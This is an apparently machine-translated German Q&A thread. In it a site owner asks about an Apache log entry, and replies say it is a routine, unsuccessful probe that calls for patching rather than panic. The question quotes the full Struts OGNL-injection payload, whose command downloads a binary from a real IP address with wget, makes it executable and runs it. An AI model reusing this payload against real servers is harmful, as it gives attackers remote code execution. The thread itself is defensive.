Ich habe einen Angriffsversuch gefunden - was mache ich?

794
Shawn Northrop

Ich habe mir einige Apache-Protokolle angesehen und bin auf einen Angriff gestoßen

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to /${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context). (#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)). (#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()). (#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop) &&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))). (#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']). (#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)). (#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()). (#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

Die Ausführungslinie ist:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop) &&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

Ich habe die Datei wget -O .loop http://111.90.158.225/d/ft64in einer Sandbox heruntergeladen, und sie erscheint einem kompilierten / binären Ordner. Daher bin ich nicht sicher, was die Datei beim Ausführen tut.

  1. Kann der Benutzer anhand des Fehlers feststellen, ob ich eine Sicherheitsanfälligkeit habe, oder besser noch, wie Sicherheitsanfälligkeiten untersucht bzw. die Sicherheit für diesen Angriff verbessert werden können?

    • Ich verwende eine Symfony 4-API unter Apache 2.4.
    • Ich bin nicht sicher, wie der Angriff versucht wird und wie er versucht, den .execBefehl auszuführen

  2. Gibt es einen geeigneten Ort, um dies zu melden?

0
Diese Frage eignet sich möglicherweise besser für https://serverfault.com/. Ich werde zur Migration melden. Christopher Hostage vor 5 Jahren 2
Wenn nach meiner Erfahrung eine Maschine Anzeichen für eine Beeinträchtigung aufweist, ist sie nicht mehr vertrauenswürdig und sollte neu aufgebaut werden. Denken Sie daran, dass der Angreifer möglicherweise andere Dinge getan hat, die Sie nicht bemerkt haben, oder dass er einige Spuren erfolgreich zurückgelegt hat. Der Angreifer kann auch andere Computer in Ihrem Rechenzentrum / in Ihrem Unternehmen befallen, so dass es eine gute Idee ist, die anderen zu überprüfen. Christopher Hostage vor 5 Jahren 0
Ich bin nicht sicher, ob dies tatsächlich einen Beweis für die Beeinträchtigung der Maschine liefert ... Ich könnte zu einem beliebigen Webserver gehen und versuchen, eine URL zu schlagen ... Ich glaube, das Protokoll zeigt, dass jemand zur URL gegangen ist: `http: / /example.com / $ {(# dm=@ognl.OgnlContext @ .... exec (...) / `aber ich bin mir nicht sicher, ob ich mit dieser Annahme Recht habe. Das Protokoll zeigt auch die Erwähnung von com.opensymphony. xwork2.ActionContext.container` scheint ein Teil von `Apache Struts` zu sein. Ich verwende keine` Apache Struts` Shawn Northrop vor 5 Jahren 0
@ChristopherHostage Sie hätten einfach stimmen können, um es als Off-Topic hier und On-Topic bei [sf] zu schließen. Wenn 4 andere Personen mit Ihnen einverstanden wären, würde es migriert werden. Mokubai vor 5 Jahren 0
@ChristopherHostage „Nach meiner Erfahrung, wenn eine Maschine Anzeichen von Kompromittierung aufweist…“ In diesem Fall falsch. Bei allen Apache-Protokollen handelt es sich um Versuche, etwas auf einem Server auszuführen, und nicht um nachzuweisen, dass etwas unternommen wurde. Und wie in [meiner Antwort] (https://superuser.com/a/1377006/167207) wiedergegeben, ist dies nur ein Versuch, einen Webserver im Internet anzugreifen, der unglaublich häufig ist und nichts, worüber er sich wirklich Sorgen machen muss besitzen. JakeGould vor 5 Jahren 1
@Mokubai, danke. Es scheint, dass 3000 Reputation erforderlich ist, um zu einer anderen Website zu wechseln. https://meta.stackexchange.com/questions/85017/wie-do-i-move-my-own-question-nach-einem anderen-stack-exchange-site Christopher Hostage vor 5 Jahren 0
@ChristopherHostage, es dauert 3K, um für die Migration abzustimmen. Darunter kann sich jeder mit 15 Wiederholungen melden. fixer1234 vor 5 Jahren 0

1 Antwort auf die Frage

1
JakeGould

Ihre Frage lautet:

Ich habe einen Angriffsversuch gefunden - was mache ich?

Und dann sagst du atemlos folgendes:

Ich habe mir einige Apache-Protokolle angesehen und bin auf einen Angriff gestoßen…

Wie geht's? Einfache antwort:

Keine Panik!

Panik zu machen und zu schnell und zu schnell zu versuchen, eine wahrgenommene Bedrohung zu mildern, könnte einen Server schädigen, als dies bei einem Angriff der Fall sein könnte.

Genauer gesagt wird jeder Webserver der Welt ständig geprüft und - manchmal - wirklich angegriffen. Das ist die Natur des Internets. Ihre Apache-Protokolle protokollieren lediglich Anforderungen an den Server und das war's. Wenn Ihre Version von Apache und das zugrunde liegende Betriebssystem (vorausgesetzt, Linux) vollständig gepatcht und auf dem neuesten Stand ist, sollten Sie solide sein. Wenn Sie auf Ihrem Server Skripts ausführen, die mit dem Web verbunden sind, z. B. PHP-Skripts, liegt möglicherweise eine Sicherheitsanfälligkeit vor, die davon abhängt, wie stabil Ihr PHP-Code ist.

Das heißt, ich mache mir immer noch keine großen Sorgen. Wenn Ihr PHP-Code aus einem vorgefertigten System wie WordPress oder Drupal besteht, stellen Sie sicher, dass der CMS gepatcht und auf dem neuesten Stand ist. Wenn es sich bei diesem PHP-Code um benutzerdefinierten Code handelt, ist dieser benutzerdefinierte Code nur so anfällig wie die Codierungskompetenz der Person, die ihn codiert hat.

Aber das alles läuft noch auf meine erste Botschaft hinaus:

Keine Panik!

Die Wahrscheinlichkeit, dass Sie durch dieses eine Skript beeinträchtigt werden, ist gering. Es ist nicht ein „Angriff“ so viel wie es eine ist versucht zu attackieren.

Alles, was über diese Zusammenfassung hinausgeht, liegt außerhalb des Rahmens einer einfachen Frage.

Allerdings sind die verwundbarsten Websites nicht so viele benutzerdefinierte Websites wie vorgefertigte Systeme wie WordPress und Drupal, die von ihren Website-Inhabern nicht gepatcht wurden. Warum werden diese Websites nicht gepatcht? Zu viele Gründe für eine Auflistung. Die überwiegende Mehrheit der webbasierten Angriffe zielt jedoch vor allem auf veraltete und nicht gepatchte vorgepackte Systeme wie WordPress und Drupal ab.

Sie fragen auch:

Gibt es einen geeigneten Ort, um dies zu melden?

Wem was berichten? Sie werden im Grunde nur von irgendeinem zufälligen Skript irgendwo getestet (mit Angriffsversuchen). Wenn Sie die IP-Adresse kennen, können Sie möglicherweise den Besitzer dieser IP-Adresse kontaktieren und nachsehen, ob sie etwas tun können. Aber 2018 ist dies bestenfalls eine fruchtlose Anstrengung.

Warum? Einfach: Hacker verwenden heutzutage Botnets, bei denen es sich oft nur um infizierte Computer oder Cluster von Einweg-Cloud-Servern handelt, die die schmutzige Arbeit des Angriffs auf Server erledigen. Nur weil Sie von einer bestimmten IP-Adresse angegriffen werden, bedeutet dies nicht, dass der Besitzer des Systems unter dieser IP-Adresse der Angreifer ist. Es könnte sich nur um ein infiziertes System handeln. Wenn es sich um einen Einweg-Cloud-Server handelt, sollten Sie sich an den ISP wenden, der diesen Cloud-Server verwaltet, und möglicherweise werden sie gewarnt. Alles, was passieren wird, ist, dass der Besitzer des Botnetzes diese Angriffsserver auf einen anderen ISP verlagert.

Stellen Sie einfach sicher, dass Ihr Code und Ihr Server solide sind, und sorgen Sie sich nicht um "Berichte" wie diese. Dieser Angriff ist nicht einzigartig und die Berichterstattung liefert Ihnen nicht die gewünschten Ergebnisse.

Verwandte Probleme